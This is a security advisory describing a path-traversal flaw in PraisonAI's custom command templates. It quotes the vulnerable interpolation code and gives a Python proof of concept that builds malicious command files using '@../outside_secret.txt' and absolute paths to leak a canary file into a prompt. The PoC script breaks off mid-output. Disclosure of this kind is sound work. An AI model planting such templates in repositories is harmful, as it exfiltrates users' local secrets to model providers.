Summary

PraisonAI: Project custom command templates can read outside-workspace files into model prompts

Advisory details

Project custom command templates can read outside-workspace files into model prompts

Summary

PraisonAI's new file-based custom command feature auto-discovers project commands from .praisonai/commands/*.md. When a user runs praisonai run --command <name> inside a repository, the command body is interpolated before it is sent as the model prompt.

The interpolation code expands @path references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include @../outside_secret.txt or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.

This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.

Technical Details

The feature was introduced by commit 88cf0c29 (feat: file-based custom agents and reusable commands with auto-discovery (#2035)) and is present on current main:

current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
current describe: v4.6.64-8-g3aa9cbc2

src/praisonai/praisonai/cli/features/custom_definitions.py discovers project-level definitions by walking upward from Path.cwd() to the git root and loading .praisonai/commands/*.md. Project commands override user-global commands.

interpolate_command_template() loads the selected command and passes the command body to the interpolator with Path.cwd() as the working directory:

return interpolator.interpolate(command.template, arguments, Path.cwd())

TemplateInterpolator._interpolate_files() then matches every @([^\s]+) token and reads the referenced file:

if working_dir:
    file_path = working_dir / file_path_str
else:
    file_path = Path(file_path_str)

if file_path.exists() and file_path.is_file():
    with open(file_path, 'r') as f:
        return f.read()

There is no resolve() call and no containment check against the project root. In Python, Path.cwd() / "/absolute/path" returns the absolute path, and parent traversal such as ../outside_secret.txt resolves outside the workspace when opened.

The sink is in src/praisonai/praisonai/cli/commands/run.py: the --command path calls interpolate_command_template(), then passes the fully interpolated prompt to _run_prompt().

PoV

A minimal vulnerable repository only needs a project command template and an outside file:

workspace/
  .git/
  .praisonai/
    commands/
      relative_escape.md   # contains @../outside_secret.txt
      absolute_escape.md   # contains an absolute path outside workspace
  inside.txt
outside_secret.txt

When the operator runs the project command, PraisonAI discovers .praisonai/commands/*.md, interpolates the template with Path.cwd() as the working directory, reads the outside file, and passes the resulting prompt to _run_prompt().

The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.

PoC

From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden PYTHONPATH setup is required.

git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab

python3 - "$PWD" <<'PY'
from __future__ import annotations

import importlib.util
import json
import os
import subprocess
import sys
import tempfile
import types
from pathlib import Path


CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"


def install_yaml_fallback_if_needed() -> str:
    if importlib.util.find_spec("yaml") is not None:
        return "installed"

    yaml_stub = types.ModuleType("yaml")

    class YAMLError(Exception):
        pass

    def safe_load(text: str):
        data = {}
        for raw_line in text.splitlines():
            line = raw_line.strip()
            if not line or line.startswith("#") or ":" not in line:
                continue
            key, value = line.split(":", 1)
            data[key.strip()] = value.strip().strip("'\"")
        return data

    yaml_stub.safe_load = safe_load
    yaml_stub.YAMLError = YAMLError
    sys.modules["yaml"] = yaml_stub
    return "stubbed"


def add_source_to_path(source_root: Path) -> None:
    candidate = source_root / "src" / "praisonai"
    if (candidate / "praisonai").exists():
        sys.path.insert(0, str(candidate))
        return
    raise SystemExit(f"Could not find PraisonAI sources below {source_root}")


class pushd:
    def __init__(self, path: Path):
        self.path = path
        self.old = Path.cwd()

    def __enter__(self):
        os.chdir(self.path)

    def __exit__(self, *_exc):
        os.chdir(self.old)


def write_command(commands_dir: Path, name: str, body: str) -> None:
    commands_dir.mkdir(parents=True, exist_ok=True)
    (commands_dir / f"{name}.md").write_text(
        "---\n"
        f"description: {name}\n"
        "---\n"
        f"{body}\n",
        encoding="utf-8",
    )


source_root = Path(sys.argv[1]).resolve()
yaml_dependency = install_yaml_fallback_if_needed()
add_source_to_path(source_root)

from praisonai.cli.features.custom_definitions import interpolate_command_template

with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp:
    temp_root = Path(tmp).resolve()
    workspace = temp_root / "workspace"
    workspace.mkdir()
    subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)

    inside = workspace / "inside.txt"
    outside = temp_root / "outside_secret.txt"
    inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8")
    outside.write_text(f"{CANARY}\n", encoding="utf-8")

    commands_dir = workspace / ".praisonai" / "commands"
    write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt")
    write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}")
    write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt")
    write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt")
    write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")

    with pushd(workspace):
        relative_result = interpolate_command_template("relative_escape", "operator argument")
        absolute_result = interpolate_command_template("absolute_escape", "operator argument")
        inside_result = interpolate_command_template("inside_control", "operator argument")
        missing_result = interpolate_command_template("missing_control", "operator argument")
        shell_result = interpolate_command_template("shell_control", "operator argument")

    result = {
        "vulnerable": all(
            [
                CANARY in (relative_result or ""),
                CANARY in (absolute_result or ""),
                "INSIDE_FILE=allowed" in (inside_result or ""),
                "@missing.txt" in (missing_result or ""),
                not (workspace / "SHOULD_NOT_EXIST").exists(),
            ]
        ),
        "expectations": {
            "relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""),
            "absolute_path_discloses_outside_file": CANARY in (absolute_result or ""),
            "inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""),
            "missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""),
            "shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(),
        },
        "samples": {
            "relative_esca

References